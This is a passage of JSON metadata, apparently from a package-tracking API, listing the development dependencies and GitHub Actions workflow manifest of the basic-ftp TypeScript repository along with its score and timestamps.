kind":"development","optional":false},{"id":4827317369,"package_name":"eslint","ecosystem":"npm","requirements":"8.23.0","direct":true,"kind":"development","optional":false},{"id":4827317370,"package_name":"mocha","ecosystem":"npm","requirements":"10.0.0","direct":true,"kind":"development","optional":false},{"id":4827317371,"package_name":"mock-fs","ecosystem":"npm","requirements":"5.1.4","direct":true,"kind":"development","optional":false},{"id":4827317372,"package_name":"rimraf","ecosystem":"npm","requirements":"3.0.2","direct":true,"kind":"development","optional":false},{"id":4827317373,"package_name":"typescript","ecosystem":"npm","requirements":"4.8.2","direct":true,"kind":"development","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/nodejs.yml","sha":null,"kind":"manifest","created_at":"2023-12-13T21:11:53.841Z","updated_at":"2023-12-13T21:11:53.841Z","repository_link":"https://github.com/patrickjuchli/basic-ftp/blob/master/.github/workflows/nodejs.yml","dependencies":[{"id":15075019946,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false},{"id":15075019947,"package_name":"actions/setup-node","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false}]}],"score":31.093633671718454,"created_at":"2025-11-11T15:16:36.096Z","updated_at":"2026-08-24T12:06:57.161Z","avatar_url":"https://github.com/patrickjuchli.png","language":"TypeScript","codemeta":null,"publiccode":null,"project_url":"https://summary.ecosyste.ms/api/v1/projects/369236","html_url":"https://summary.ecosyste.ms/projects/369236"}